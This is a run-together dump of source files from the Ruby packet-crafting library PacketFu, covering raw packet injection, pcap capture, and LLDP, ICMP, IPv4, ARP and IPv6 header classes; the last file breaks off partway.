Pcap.lookupdev || "lo" @snaplen = args[:snaplen] || 0xffff @promisc = args[:promisc] || false # Sensible for some Intel wifi cards @timeout = args[:timeout] || 1 @show_live = nil end # Takes an array, and injects them onto an interface. Note that # complete packets (Ethernet headers on down) are expected. # # === Parameters # # :array || arr # An array of binary data (usually packet.to_s style). # :int || sleep # Number of seconds to sleep between injections (in float format) # :show_live || :live # If true, puts data about what was injected to stdout. # # === Example # # inj = PacketFu::Inject.new # inj.array_to_wire(:array => [pkt1, pkt2, pkt3], :sleep => 0.1) # def array_to_wire(args={}) pkt_array = args[:array] || args[:arr] || @array interval = args[:int] || args[:sleep] show_live = args[:show_live] || args[:live] || @show_live @stream = Pcap.open_live(@iface,@snaplen,@promisc,@timeout) pkt_count = 0 pkt_array.each do |pkt| @stream.inject(pkt) sleep interval if interval pkt_count +=1 puts "Sent Packet \##{pkt_count} (#{pkt.size})" if show_live end # Return # of packets sent, array size, and array total size [pkt_count, pkt_array.size, pkt_array.join.size] end # Equivalent to array_to_wire def a2w(args={}) array_to_wire(args) end # Equivalent to array_to_wire def inject(args={}) array_to_wire(args) end end end packetfu-1.1.11/lib/packetfu/capture.rb0000644000004100000410000001213312573107241017767 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # The Capture class is used to construct PcapRub objects in order to collect # packets from an interface. # # This class requires PcapRub. In addition, you will need root (or root-like) privileges # in order to capture from the interface. # # Note, on some wireless cards, setting :promisc => true will disable capturing. # # == Example # # # Typical use # cap = PacketFu::Capture.new(:iface => 'eth0', :promisc => true) # cap.start # sleep 10 # cap.save # first_packet = cap.array[0] # # # Tcpdump-like use # cap = PacketFu::Capture.new(:start => true) # cap.show_live(:save => true, :filter => 'tcp and not port 22') # # == See Also # # Read, Write class Capture attr_accessor :array, :stream # Leave these public and open. attr_reader :iface, :snaplen, :promisc, :timeout, :filter def initialize(args={}) @array = [] # Where the packet array goes. @stream = [] # Where the stream goes. @iface = (args[:iface] || ENV['IFACE'] || Pcap.lookupdev || "lo").to_s @snaplen = args[:snaplen] || 0xffff @promisc = args[:promisc] || false # Sensible for some Intel wifi cards @timeout = args[:timeout] || 1 @filter = args[:filter] || args[:bpf] setup_params(args) end # Used by new(). def setup_params(args={}) filter = args[:filter] || args[:bpf] || @filter start = args[:start] || false capture if start bpf(:filter=>filter) if filter end # capture() initializes the @stream varaible. Valid arguments are: # # :filter # Provide a bpf filter to enable for the capture. For example, 'ip and not tcp' # :start # When true, start capturing packets to the @stream variable. Defaults to true def capture(args={}) if Process.euid.zero? filter = args[:filter] || args[:bpf] || @filter start = args[:start] || true if start begin @stream = Pcap.open_live(@iface,@snaplen,@promisc,@timeout) rescue RuntimeError $stderr.print "Are you sure you're root? Error: " raise end bpf(:filter=>filter) if filter else @stream = [] end @stream else raise RuntimeError,"Not root, so can't capture packets. Error: " end end # start() is equivalent to capture(). def start(args={}) capture(args) end # clear() clears the @stream and @array variables, essentially starting the # capture session over. Valid arguments are: # # :array # If true, the @array is cleared. # :stream # If true, the @stream is cleared. def clear(args={}) array = args[:array] || true stream = args[:stream] || true @array = [] if array @stream = [] if stream end # bpf() sets a bpf filter on a capture session. Valid arugments are: # # :filter # Provide a bpf filter to enable for the capture. For example, 'ip and not tcp' def bpf(args={}) filter = args[:filter] || args[:bpf] || @filter capture if @stream.class == Array @stream.setfilter(filter) if filter @filter = filter end alias :filter :bpf # wire_to_array() saves a packet stream as an array of binary strings. From here, # packets may accessed by other functions. Note that the wire_to_array empties # the stream, so multiple calls will append new packets to @array. # Valid arguments are: # # :filter # Provide a bpf filter to apply to packets moving from @stream to @array. def wire_to_array(args={}) filter = args[:filter] || args[:bpf] || @filter bpf(:filter=>filter) if filter while this_pkt = @stream.next @array << this_pkt end @array.size end # next() exposes the Stream object's next method to the outside world. def next return @stream.next end # w2a() is a equivalent to wire_to_array() def w2a(args={}) wire_to_array(args) end # save() is a equivalent to wire_to_array() def save(args={}) wire_to_array(args) end # show_live() is a method to capture packets and display peek() data to stdout. Valid arguments are: # # :filter # Provide a bpf filter to captured packets. # :save # Save the capture in @array # :verbose # TODO: Not implemented yet; do more than just peek() at the packets. # :quiet # TODO: Not implemented yet; do less than peek() at the packets. def show_live(args={}) filter = args[:filter] || args[:bpf] || @filter save = args[:save] verbose = args[:verbose] || args[:v] || false quiet = args[:quiet] || args[:q] || false # Setting q and v doesn't make a lot of sense but hey. # Ensure the capture's started. if @stream.class == Array capture end @stream.setfilter(filter) if filter while true @stream.each do |pkt| puts Packet.parse(pkt).peek @array << pkt if args[:save] end end end end end packetfu-1.1.11/lib/packetfu/protos/0000755000004100000410000000000012573107241017325 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/lldp.rb0000644000004100000410000000310612573107241020605 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/eth/header' require 'packetfu/protos/eth/mixin' require 'packetfu/protos/lldp/header' require 'packetfu/protos/lldp/mixin' module PacketFu class LLDPPacket < Packet MAGIC = Regexp.new("^\x01\x80\xc2\x00\x00[\x0e\x03\x00]", nil, "n") include ::PacketFu::EthHeaderMixin include ::PacketFu::LLDPHeaderMixin attr_accessor :eth_header, :lldp_header def self.can_parse?(str) return false unless EthPacket.can_parse? str return false unless str.size >= 6 return false unless str[12,2] == "\x88\xcc" return false unless str =~ MAGIC true end def read(str=nil,args={}) raise "Cannot parse `#{str}'" unless self.class.can_parse?(str) @eth_header.read(str) super(args) self end def initialize(args={}) @eth_header = EthHeader.new(args).read(args[:eth]) @lldp_header = LLDPHeader.new(args).read(args[:lldp]) @eth_header.eth_proto = "\x88\xCC" @eth_header.body=@lldp_header @headers = [@eth_header, @lldp_header] super end # Generates summary data for LLDP packets. def peek_format peek_data = ["A "] peek_data << "%-5d" % self.to_s.size peek_data << lldp_saddr_mac peek_data << "(#{lldp_saddr_mac})" peek_data << "->" peek_data << "01:80:c2:00:00:0e" peek_data.join end # While there are lengths in LLDPPackets, there's not # much to do with them. def recalc(args={}) @headers[0].inspect end end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/protos/icmp.rb0000644000004100000410000000512012573107241020600 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/eth/header' require 'packetfu/protos/eth/mixin' require 'packetfu/protos/ip/header' require 'packetfu/protos/ip/mixin' require 'packetfu/protos/icmp/header' require 'packetfu/protos/icmp/mixin' module PacketFu # ICMPPacket is used to construct ICMP Packets. They contain an EthHeader, an IPHeader, and a ICMPHeader. # # == Example # # icmp_pkt.new # icmp_pkt.icmp_type = 8 # icmp_pkt.icmp_code = 0 # icmp_pkt.payload = "ABC, easy as 123. As simple as do-re-mi. ABC, 123, baby, you and me!" # # icmp_pkt.ip_saddr="1.2.3.4" # icmp_pkt.ip_daddr="5.6.7.8" # # icmp_pkt.recalc # icmp_pkt.to_f('/tmp/icmp.pcap') # # == Parameters # # :eth # A pre-generated EthHeader object. # :ip # A pre-generated IPHeader object. # :flavor # TODO: Sets the "flavor" of the ICMP packet. Pings, in particular, often betray their true # OS. # :config # A hash of return address details, often the output of Utils.whoami? class ICMPPacket < Packet include ::PacketFu::EthHeaderMixin include ::PacketFu::IPHeaderMixin include ::PacketFu::ICMPHeaderMixin attr_accessor :eth_header, :ip_header, :icmp_header def self.can_parse?(str) return false unless str.size >= 38 return false unless EthPacket.can_parse? str return false unless IPPacket.can_parse? str return false unless str[23,1] == "\x01" return true end def read(str=nil, args={}) raise "Cannot parse `#{str}'" unless self.class.can_parse?(str) @eth_header.read(str) super(args) self end def initialize(args={}) @eth_header = EthHeader.new(args).read(args[:eth]) @ip_header = IPHeader.new(args).read(args[:ip]) @ip_header.ip_proto = 1 @icmp_header = ICMPHeader.new(args).read(args[:icmp]) @ip_header.body = @icmp_header @eth_header.body = @ip_header @headers = [@eth_header, @ip_header, @icmp_header] super end # Peek provides summary data on packet contents. def peek_format peek_data = ["IC "] # I is taken by IP peek_data << "%-5d" % self.to_s.size type = case self.icmp_type.to_i when 8 "ping" when 0 "pong" else "%02x-%02x" % [self.icmp_type, self.icmp_code] end peek_data << "%-21s" % "#{self.ip_saddr}:#{type}" peek_data << "->" peek_data << "%21s" % "#{self.ip_daddr}" peek_data << "%23s" % "I:" peek_data << "%04x" % self.ip_id peek_data.join end end end packetfu-1.1.11/lib/packetfu/protos/icmp/0000755000004100000410000000000012573107241020255 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/icmp/header.rb0000644000004100000410000000550112573107241022033 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # ICMPHeader is a complete ICMP struct, used in ICMPPacket. ICMP is # typically used for network administration and connectivity testing. # # For more on ICMP packets, see # http://www.networksorcery.com/enp/protocol/icmp.htm # # ==== Header Definition # # Int8 :icmp_type # Type # Int8 :icmp_code # Code # Int16 :icmp_sum Default: calculated # Checksum # String :body class ICMPHeader < Struct.new(:icmp_type, :icmp_code, :icmp_sum, :body) include StructFu def initialize(args={}) super( Int8.new(args[:icmp_type]), Int8.new(args[:icmp_code]), Int16.new(args[:icmp_sum] || icmp_calc_sum), StructFu::String.new.read(args[:body]) ) end # Returns the object in string form. def to_s self.to_a.map {|x| x.to_s}.join end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:icmp_type].read(str[0,1]) self[:icmp_code].read(str[1,1]) self[:icmp_sum].read(str[2,2]) self[:body].read(str[4,str.size]) self end # Setter for the type. def icmp_type=(i); typecast i; end # Getter for the type. def icmp_type; self[:icmp_type].to_i; end # Setter for the code. def icmp_code=(i); typecast i; end # Getter for the code. def icmp_code; self[:icmp_code].to_i; end # Setter for the checksum. Note, this is calculated automatically with # icmp_calc_sum. def icmp_sum=(i); typecast i; end # Getter for the checksum. def icmp_sum; self[:icmp_sum].to_i; end # Calculates and sets the checksum for the object. def icmp_calc_sum checksum = (icmp_type.to_i << 8) + icmp_code.to_i chk_body = (body.to_s.size % 2 == 0 ? body.to_s : body.to_s + "\x00") if 1.respond_to? :ord chk_body.split("").each_slice(2).map { |x| (x[0].ord << 8) + x[1].ord }.each { |y| checksum += y } else chk_body.split("").each_slice(2).map { |x| (x[0] << 8) + x[1] }.each { |y| checksum += y } end checksum = checksum % 0xffff checksum = 0xffff - checksum checksum == 0 ? 0xffff : checksum end # Recalculates the calculatable fields for ICMP. def icmp_recalc(arg=:all) # How silly is this, you can't intern a symbol in ruby 1.8.7pl72? # I'm this close to monkey patching Symbol so you can force it... arg = arg.intern if arg.respond_to? :intern case arg when :icmp_sum self.icmp_sum=icmp_calc_sum when :all self.icmp_sum=icmp_calc_sum else raise ArgumentError, "No such field `#{arg}'" end end # Readability aliases def icmp_sum_readable "0x%04x" % icmp_sum end end end packetfu-1.1.11/lib/packetfu/protos/icmp/mixin.rb0000644000004100000410000000145312573107241021731 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # This Mixin simplifies access to the ICMPHeaders. Mix this in with your # packet interface, and it will add methods that essentially delegate to # the 'icmp_header' method (assuming that it is a ICMPHeader object) module ICMPHeaderMixin def icmp_type=(v); self.icmp_header.icmp_type= v; end def icmp_type; self.icmp_header.icmp_type; end def icmp_code=(v); self.icmp_header.icmp_code= v; end def icmp_code; self.icmp_header.icmp_code; end def icmp_sum=(v); self.icmp_header.icmp_sum= v; end def icmp_sum; self.icmp_header.icmp_sum; end def icmp_calc_sum; self.icmp_header.icmp_calc_sum; end def icmp_recalc(*v); self.icmp_header.icmp_recalc(*v); end def icmp_sum_readable; self.icmp_header.icmp_sum_readable; end end end packetfu-1.1.11/lib/packetfu/protos/ip/0000755000004100000410000000000012573107241017735 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/ip/header.rb0000644000004100000410000002337112573107241021520 0ustar www-datawww-data# -*- coding: binary -*- require 'ipaddr' module PacketFu # Octets implements the addressing scheme for IP. # # ==== Header Definition # # Int32 :ip_addr class Octets < Struct.new(:ip_addr) include StructFu IPV4_RE = /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ def initialize(args={}) super( Int32.new(args[:ip_addr])) end # Returns the object in string form. def to_s [self[:ip_addr].to_i].pack("N") end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:ip_addr].read str[0,4] self end # Returns an address in dotted-quad format. def to_x # This could be slightly faster if we reproduced the code in # 'octets()' and didn't have to map to strings. self.octets.map(&:to_s).join('.') end # Returns an address in numerical format. def to_i self[:ip_addr].to_i end # Set the IP Address by reading a dotted-quad address. def read_quad(str) match = IPV4_RE.match(str) if match.nil? raise ArgumentError.new("str is not a valid IPV4 address") end a = match[1].to_i b = match[2].to_i c = match[3].to_i d = match[4].to_i unless (a >= 0 && a <= 255 && b >= 0 && b <= 255 && c >= 0 && c <= 255 && d >= 0 && d <= 255) raise ArgumentError.new("str is not a valid IPV4 address") end self[:ip_addr].value = (a<<24) + (b<<16) + (c<<8) + d self end # Returns the IP address as 4 octets def octets addr = self.to_i [ ((addr >> 24) & 0xff), ((addr >> 16) & 0xff), ((addr >> 8) & 0xff), (addr & 0xff) ] end # Returns the value for the first octet def o1 (self.to_i >> 24) & 0xff end # Returns the value for the second octet def o2 (self.to_i >> 16) & 0xff end # Returns the value for the third octet def o3 (self.to_i >> 8) & 0xff end # Returns the value for the fourth octet def o4 self.to_i & 0xff end end # IPHeader is a complete IP struct, used in IPPacket. Most traffic on most networks today is IP-based. # # For more on IP packets, see http://www.networksorcery.com/enp/protocol/ip.htm # # ==== Header Definition # # Fixnum (4 bits) :ip_v, Default: 4 # Fixnum (4 bits) :ip_hl, Default: 5 # Int8 :ip_tos, Default: 0 # TODO: Break out the bits # Int16 :ip_len, Default: calculated # Int16 :ip_id, Default: calculated # IRL, hardly random. # Int16 :ip_frag, Default: 0 # TODO: Break out the bits # Int8 :ip_ttl, Default: 0xff # Changes per flavor # Int8 :ip_proto, Default: 0x01 # TCP: 0x06, UDP 0x11, ICMP 0x01 # Int16 :ip_sum, Default: calculated # Octets :ip_src # Octets :ip_dst # String :body # # Note that IPPackets will always be somewhat incorrect upon initalization, # and want an IPHeader#recalc() to become correct before a # Packet#to_f or Packet#to_w. class IPHeader < Struct.new(:ip_v, :ip_hl, :ip_tos, :ip_len, :ip_id, :ip_frag, :ip_ttl, :ip_proto, :ip_sum, :ip_src, :ip_dst, :body) include StructFu def initialize(args={}) @random_id = rand(0xffff) super( (args[:ip_v] || 4), (args[:ip_hl] || 5), Int8.new(args[:ip_tos]), Int16.new(args[:ip_len] || 20), Int16.new(args[:ip_id] || ip_calc_id), Int16.new(args[:ip_frag]), Int8.new(args[:ip_ttl] || 32), Int8.new(args[:ip_proto]), Int16.new(args[:ip_sum] || ip_calc_sum), Octets.new.read(args[:ip_src] || "\x00\x00\x00\x00"), Octets.new.read(args[:ip_dst] || "\x00\x00\x00\x00"), StructFu::String.new.read(args[:body]) ) end # Returns the object in string form. def to_s byte_v_hl = [(self.ip_v << 4) + self.ip_hl].pack("C") byte_v_hl + (self.to_a[2,10].map {|x| x.to_s}.join) end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:ip_v] = str[0,1].unpack("C").first >> 4 self[:ip_hl] = str[0,1].unpack("C").first.to_i & 0x0f self[:ip_tos].read(str[1,1]) self[:ip_len].read(str[2,2]) self[:ip_id].read(str[4,2]) self[:ip_frag].read(str[6,2]) self[:ip_ttl].read(str[8,1]) self[:ip_proto].read(str[9,1]) self[:ip_sum].read(str[10,2]) self[:ip_src].read(str[12,4]) self[:ip_dst].read(str[16,4]) self[:body].read(str[20,str.size]) if str.size > 20 self end # Setter for the version. def ip_v=(i); self[:ip_v] = i.to_i; end # Getter for the version. def ip_v; self[:ip_v].to_i; end # Setter for the header length (divide by 4) def ip_hl=(i); self[:ip_hl] = i.to_i; end # Getter for the header length (multiply by 4) def ip_hl; self[:ip_hl].to_i; end # Setter for the differentiated services def ip_tos=(i); typecast i; end # Getter for the differentiated services def ip_tos; self[:ip_tos].to_i; end # Setter for total length. def ip_len=(i); typecast i; end # Getter for total length. def ip_len; self[:ip_len].to_i; end # Setter for the identication number. def ip_id=(i); typecast i; end # Getter for the identication number. def ip_id; self[:ip_id].to_i; end # Setter for the fragmentation ID. def ip_frag=(i); typecast i; end # Getter for the fragmentation ID. def ip_frag; self[:ip_frag].to_i; end # Setter for the time to live. def ip_ttl=(i); typecast i; end # Getter for the time to live. def ip_ttl; self[:ip_ttl].to_i; end # Setter for the protocol number. def ip_proto=(i); typecast i; end # Getter for the protocol number. def ip_proto; self[:ip_proto].to_i; end # Setter for the checksum. def ip_sum=(i); typecast i; end # Getter for the checksum. def ip_sum; self[:ip_sum].to_i; end # Setter for the source IP address. def ip_src=(i) case i when Numeric self[:ip_src] = Octets.new.read([i].pack("N")) when Octets self[:ip_src] = i else typecast i end end # Getter for the source IP address. def ip_src; self[:ip_src].to_i; end # Setter for the destination IP address. def ip_dst=(i) case i when Numeric self[:ip_dst] = Octets.new.read([i].pack("N")) when Octets self[:ip_dst] = i else typecast i end end # Getter for the destination IP address. def ip_dst; self[:ip_dst].to_i; end # Calulcate the true length of the packet. def ip_calc_len (ip_hl * 4) + body.to_s.length end # Return the claimed header length def ip_hlen (ip_hl * 4) end # Calculate the true checksum of the packet. # (Yes, this is the long way to do it, but it's e-z-2-read for mathtards like me.) def ip_calc_sum checksum = (((self.ip_v << 4) + self.ip_hl) << 8) + self.ip_tos checksum += self.ip_len checksum += self.ip_id checksum += self.ip_frag checksum += (self.ip_ttl << 8) + self.ip_proto checksum += (self.ip_src >> 16) checksum += (self.ip_src & 0xffff) checksum += (self.ip_dst >> 16) checksum += (self.ip_dst & 0xffff) checksum = checksum % 0xffff checksum = 0xffff - checksum checksum == 0 ? 0xffff : checksum end # Retrieve the IP ID def ip_calc_id @random_id end # Sets a more readable IP address. If you wants to manipulate individual octets, # (eg, for host scanning in one network), it would be better use ip_src.o1 through # ip_src.o4 instead. def ip_saddr=(addr) self[:ip_src].read_quad(addr) end # Returns a more readable IP source address. def ip_saddr self[:ip_src].to_x end # Sets a more readable IP address. def ip_daddr=(addr) self[:ip_dst].read_quad(addr) end # Returns a more readable IP destination address. def ip_daddr self[:ip_dst].to_x end # Translate various formats of IPv4 Addresses to an array of digits. def self.octet_array(addr) if addr.class == String oa = addr.split('.').collect {|x| x.to_i} elsif addr.class == Fixnum oa = IPAddr.new(addr, Socket::AF_INET).to_s.split('.') elsif addr.class == Bignum oa = IPAddr.new(addr, Socket::AF_INET).to_s.split('.') elsif addr.class == Array oa = addr else raise ArgumentError, "IP Address should be a dotted quad string, an array of ints, or a bignum" end end # Recalculate the calculated IP fields. Valid arguments are: # :all # :ip_len # :ip_sum # :ip_id def ip_recalc(arg=:all) case arg when :ip_len self.ip_len=ip_calc_len when :ip_sum self.ip_sum=ip_calc_sum when :ip_id @random_id = rand(0xffff) when :all self.ip_id= ip_calc_id self.ip_len= ip_calc_len self.ip_sum= ip_calc_sum else raise ArgumentError, "No such field `#{arg}'" end end # Readability aliases alias :ip_src_readable :ip_saddr alias :ip_dst_readable :ip_daddr def ip_id_readable "0x%04x" % ip_id end def ip_sum_readable "0x%04x" % ip_sum end end end packetfu-1.1.11/lib/packetfu/protos/ip/mixin.rb0000644000004100000410000000377112573107241021416 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # This Mixin simplifies access to the IPHeaders. Mix this in with your # packet interface, and it will add methods that essentially delegate to # the 'ip_header' method (assuming that it is a IPHeader object) module IPHeaderMixin def ip_calc_id; self.ip_header.ip_calc_id ; end def ip_calc_len; self.ip_header.ip_calc_len ; end def ip_calc_sum; self.ip_header.ip_calc_sum ; end def ip_daddr; self.ip_header.ip_daddr ; end def ip_daddr=(v); self.ip_header.ip_daddr= v; end def ip_dst; self.ip_header.ip_dst ; end def ip_dst=(v); self.ip_header.ip_dst= v; end def ip_dst_readable; self.ip_header.ip_dst_readable ; end def ip_frag; self.ip_header.ip_frag ; end def ip_frag=(v); self.ip_header.ip_frag= v; end def ip_hl; self.ip_header.ip_hl ; end def ip_hl=(v); self.ip_header.ip_hl= v; end def ip_hlen; self.ip_header.ip_hlen ; end def ip_id; self.ip_header.ip_id ; end def ip_id=(v); self.ip_header.ip_id= v; end def ip_id_readable; self.ip_header.ip_id_readable ; end def ip_len; self.ip_header.ip_len ; end def ip_len=(v); self.ip_header.ip_len= v; end def ip_proto; self.ip_header.ip_proto ; end def ip_proto=(v); self.ip_header.ip_proto= v; end def ip_recalc(*args); self.ip_header.ip_recalc(*args) ; end def ip_saddr; self.ip_header.ip_saddr ; end def ip_saddr=(v); self.ip_header.ip_saddr= v; end def ip_src; self.ip_header.ip_src ; end def ip_src=(v); self.ip_header.ip_src= v; end def ip_src_readable; self.ip_header.ip_src_readable ; end def ip_sum; self.ip_header.ip_sum ; end def ip_sum=(v); self.ip_header.ip_sum= v; end def ip_sum_readable; self.ip_header.ip_sum_readable ; end def ip_tos; self.ip_header.ip_tos ; end def ip_tos=(v); self.ip_header.ip_tos= v; end def ip_ttl; self.ip_header.ip_ttl ; end def ip_ttl=(v); self.ip_header.ip_ttl= v; end def ip_v; self.ip_header.ip_v ; end def ip_v=(v); self.ip_header.ip_v= v; end end end packetfu-1.1.11/lib/packetfu/protos/arp/0000755000004100000410000000000012573107241020107 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/arp/header.rb0000644000004100000410000001242712573107241021672 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # ARPHeader is a complete ARP struct, used in ARPPacket. # # ARP is used to discover the machine address of nearby devices. # # See http://www.networksorcery.com/enp/protocol/arp.htm for details. # # ==== Header Definition # # Int16 :arp_hw Default: 1 # Ethernet # Int16 :arp_proto, Default: 0x8000 # IP # Int8 :arp_hw_len, Default: 6 # Int8 :arp_proto_len, Default: 4 # Int16 :arp_opcode, Default: 1 # 1: Request, 2: Reply, 3: Request-Reverse, 4: Reply-Reverse # EthMac :arp_src_mac # From eth.rb # Octets :arp_src_ip # From ip.rb # EthMac :arp_dst_mac # From eth.rb # Octets :arp_dst_ip # From ip.rb # String :body class ARPHeader < Struct.new(:arp_hw, :arp_proto, :arp_hw_len, :arp_proto_len, :arp_opcode, :arp_src_mac, :arp_src_ip, :arp_dst_mac, :arp_dst_ip, :body) include StructFu def initialize(args={}) src_mac = args[:arp_src_mac] || (args[:config][:eth_src] if args[:config]) src_ip_bin = args[:arp_src_ip] || (args[:config][:ip_src_bin] if args[:config]) super( Int16.new(args[:arp_hw] || 1), Int16.new(args[:arp_proto] ||0x0800), Int8.new(args[:arp_hw_len] || 6), Int8.new(args[:arp_proto_len] || 4), Int16.new(args[:arp_opcode] || 1), EthMac.new.read(src_mac), Octets.new.read(src_ip_bin), EthMac.new.read(args[:arp_dst_mac]), Octets.new.read(args[:arp_dst_ip]), StructFu::String.new.read(args[:body]) ) end # Returns the object in string form. def to_s self.to_a.map {|x| x.to_s}.join end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:arp_hw].read(str[0,2]) self[:arp_proto].read(str[2,2]) self[:arp_hw_len].read(str[4,1]) self[:arp_proto_len].read(str[5,1]) self[:arp_opcode].read(str[6,2]) self[:arp_src_mac].read(str[8,6]) self[:arp_src_ip].read(str[14,4]) self[:arp_dst_mac].read(str[18,6]) self[:arp_dst_ip].read(str[24,4]) self[:body].read(str[28,str.size]) self end # Setter for the ARP hardware type. def arp_hw=(i); typecast i; end # Getter for the ARP hardware type. def arp_hw; self[:arp_hw].to_i; end # Setter for the ARP protocol. def arp_proto=(i); typecast i; end # Getter for the ARP protocol. def arp_proto; self[:arp_proto].to_i; end # Setter for the ARP hardware type length. def arp_hw_len=(i); typecast i; end # Getter for the ARP hardware type length. def arp_hw_len; self[:arp_hw_len].to_i; end # Setter for the ARP protocol length. def arp_proto_len=(i); typecast i; end # Getter for the ARP protocol length. def arp_proto_len; self[:arp_proto_len].to_i; end # Setter for the ARP opcode. def arp_opcode=(i); typecast i; end # Getter for the ARP opcode. def arp_opcode; self[:arp_opcode].to_i; end # Setter for the ARP source MAC address. def arp_src_mac=(i); typecast i; end # Getter for the ARP source MAC address. def arp_src_mac; self[:arp_src_mac].to_s; end # Getter for the ARP source IP address. def arp_src_ip=(i); typecast i; end # Setter for the ARP source IP address. def arp_src_ip; self[:arp_src_ip].to_s; end # Setter for the ARP destination MAC address. def arp_dst_mac=(i); typecast i; end # Setter for the ARP destination MAC address. def arp_dst_mac; self[:arp_dst_mac].to_s; end # Setter for the ARP destination IP address. def arp_dst_ip=(i); typecast i; end # Getter for the ARP destination IP address. def arp_dst_ip; self[:arp_dst_ip].to_s; end # Set the source MAC address in a more readable way. def arp_saddr_mac=(mac) mac = EthHeader.mac2str(mac) self[:arp_src_mac].read(mac) self.arp_src_mac end # Get a more readable source MAC address. def arp_saddr_mac EthHeader.str2mac(self[:arp_src_mac].to_s) end # Set the destination MAC address in a more readable way. def arp_daddr_mac=(mac) mac = EthHeader.mac2str(mac) self[:arp_dst_mac].read(mac) self.arp_dst_mac end # Get a more readable source MAC address. def arp_daddr_mac EthHeader.str2mac(self[:arp_dst_mac].to_s) end # Set a more readable source IP address. def arp_saddr_ip=(addr) self[:arp_src_ip].read_quad(addr) end # Get a more readable source IP address. def arp_saddr_ip self[:arp_src_ip].to_x end # Set a more readable destination IP address. def arp_daddr_ip=(addr) self[:arp_dst_ip].read_quad(addr) end # Get a more readable destination IP address. def arp_daddr_ip self[:arp_dst_ip].to_x end # Readability aliases alias :arp_src_mac_readable :arp_saddr_mac alias :arp_dst_mac_readable :arp_daddr_mac alias :arp_src_ip_readable :arp_saddr_ip alias :arp_dst_ip_readable :arp_daddr_ip def arp_proto_readable "0x%04x" % arp_proto end end # class ARPHeader end packetfu-1.1.11/lib/packetfu/protos/arp/mixin.rb0000644000004100000410000000412112573107241021556 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # This Mixin simplifies access to the ARPHeaders. Mix this in with your # packet interface, and it will add methods that essentially delegate to # the 'arp_header' method (assuming that it is a ARPHeader object) module ARPHeaderMixin def arp_hw=(v); self.arp_header.arp_hw= v; end def arp_hw; self.arp_header.arp_hw; end def arp_proto=(v); self.arp_header.arp_proto= v; end def arp_proto; self.arp_header.arp_proto; end def arp_hw_len=(v); self.arp_header.arp_hw_len= v; end def arp_hw_len; self.arp_header.arp_hw_len; end def arp_proto_len=(v); self.arp_header.arp_proto_len= v; end def arp_proto_len; self.arp_header.arp_proto_len; end def arp_opcode=(v); self.arp_header.arp_opcode= v; end def arp_opcode; self.arp_header.arp_opcode; end def arp_src_mac=(v); self.arp_header.arp_src_mac= v; end def arp_src_mac; self.arp_header.arp_src_mac; end def arp_src_ip=(v); self.arp_header.arp_src_ip= v; end def arp_src_ip; self.arp_header.arp_src_ip; end def arp_dst_mac=(v); self.arp_header.arp_dst_mac= v; end def arp_dst_mac; self.arp_header.arp_dst_mac; end def arp_dst_ip=(v); self.arp_header.arp_dst_ip= v; end def arp_dst_ip; self.arp_header.arp_dst_ip; end def arp_saddr_mac=(v); self.arp_header.arp_saddr_mac= v; end def arp_saddr_mac; self.arp_header.arp_saddr_mac; end def arp_daddr_mac=(v); self.arp_header.arp_daddr_mac= v; end def arp_daddr_mac; self.arp_header.arp_daddr_mac; end def arp_saddr_ip=(v); self.arp_header.arp_saddr_ip= v; end def arp_saddr_ip; self.arp_header.arp_saddr_ip; end def arp_daddr_ip=(v); self.arp_header.arp_daddr_ip= v; end def arp_daddr_ip; self.arp_header.arp_daddr_ip; end def arp_src_mac_readable; self.arp_header.arp_src_mac_readable; end def arp_dst_mac_readable; self.arp_header.arp_dst_mac_readable; end def arp_src_ip_readable; self.arp_header.arp_src_ip_readable; end def arp_dst_ip_readable; self.arp_header.arp_dst_ip_readable; end def arp_proto_readable; self.arp_header.arp_proto_readable; end end end packetfu-1.1.11/lib/packetfu/protos/ipv6/0000755000004100000410000000000012573107241020211 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/ipv6/header.rb0000644000004100000410000001323512573107241021772 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # AddrIpv6 handles addressing for IPv6Header # # ==== Header Definition # # Int32 :a1 # Int32 :a2 # Int32 :a3 # Int32 :a4 class AddrIpv6 < Struct.new(:a1, :a2, :a3, :a4) include StructFu def initialize(args={}) super( Int32.new(args[:a1]), Int32.new(args[:a2]), Int32.new(args[:a3]), Int32.new(args[:a4])) end # Returns the address in string format. def to_s self.to_a.map {|x| x.to_s}.join end # Returns the address as a fairly ginormous integer. def to_i (a1.to_i << 96) + (a2.to_i << 64) + (a3.to_i << 32) + a4.to_i end # Returns the address as a colon-delimited hex string. def to_x IPAddr.new(self.to_i, Socket::AF_INET6).to_s end # Reads in a string and casts it as an IPv6 address def read(str) force_binary(str) return self if str.nil? self[:a1].read str[0,4] self[:a2].read str[4,4] self[:a3].read str[8,4] self[:a4].read str[12,4] self end # Reads in a colon-delimited hex string and casts it as an IPv6 address. def read_x(str) addr = IPAddr.new(str).to_i self[:a1]=Int32.new(addr >> 96) self[:a2]=Int32.new((addr & 0x00000000ffffffff0000000000000000) >> 64) self[:a3]=Int32.new((addr & 0x0000000000000000ffffffff00000000) >> 32) self[:a4]=Int32.new(addr & 0x000000000000000000000000ffffffff) self end end # IPv6Header is complete IPv6 struct, used in IPv6Packet. # # ==== Header Definition # # Fixnum (4 bits) :ipv6_v Default: 6 # Versiom # Fixnum (8 bits) :ipv6_class Defualt: 0 # Class # Fixnum (20 bits) :ipv6_label Defualt: 0 # Label # Int16 :ipv6_len Default: calc # Payload length # Int8 :ipv6_next # Next Header # Int8 :ipv6_hop Default: 0xff # Hop limit # AddrIpv6 :ipv6_src # AddrIpv6 :ipv6_dst 